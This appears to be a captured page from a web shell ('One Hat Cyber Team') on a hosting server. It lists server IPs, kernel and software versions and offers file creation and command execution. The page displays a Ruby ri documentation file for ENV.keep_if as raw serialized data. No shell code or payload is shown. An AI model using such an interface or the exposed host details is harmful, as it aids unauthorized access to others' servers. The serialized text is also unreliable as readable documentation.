⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
ENV
/
View File Name :
keep_if-c.ri
U:RDoc::AnyMethod[iI"keep_if:ETI"ENV::keep_if;TT:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [I"OYields each environment variable name and its value as a 2-element Array, ;TI"Vdeleting each environment variable for which the block returns +false+ or +nil+, ;TI"and returning ENV:;To:RDoc::Markup::Verbatim; [I";ENV.replace('foo' => '0', 'bar' => '1', 'baz' => '2') ;TI"BENV.keep_if { |name, value| name.start_with?('b') } # => ENV ;TI"'ENV # => {"bar"=>"1", "baz"=>"2"} ;T:@format0o; ; [I"-Returns an Enumerator if no block given:;To;; [ I";ENV.replace('foo' => '0', 'bar' => '1', 'baz' => '2') ;TI"Ve = ENV.keep_if # => #
"1", "baz"=>"2", "foo"=>"0"}:keep_if> ;TI"=e.each { |name, value| name.start_with?('b') } # => ENV ;TI"&ENV # => {"bar"=>"1", "baz"=>"2"};T;0: @fileI"hash.c;T:0@omit_headings_from_table_of_contents_below0I"eENV.keep_if { |name, value| block } -> ENV ENV.keep_if -> an_enumerator ;T0[ I"();T@FI"ENV;TcRDoc::NormalClass00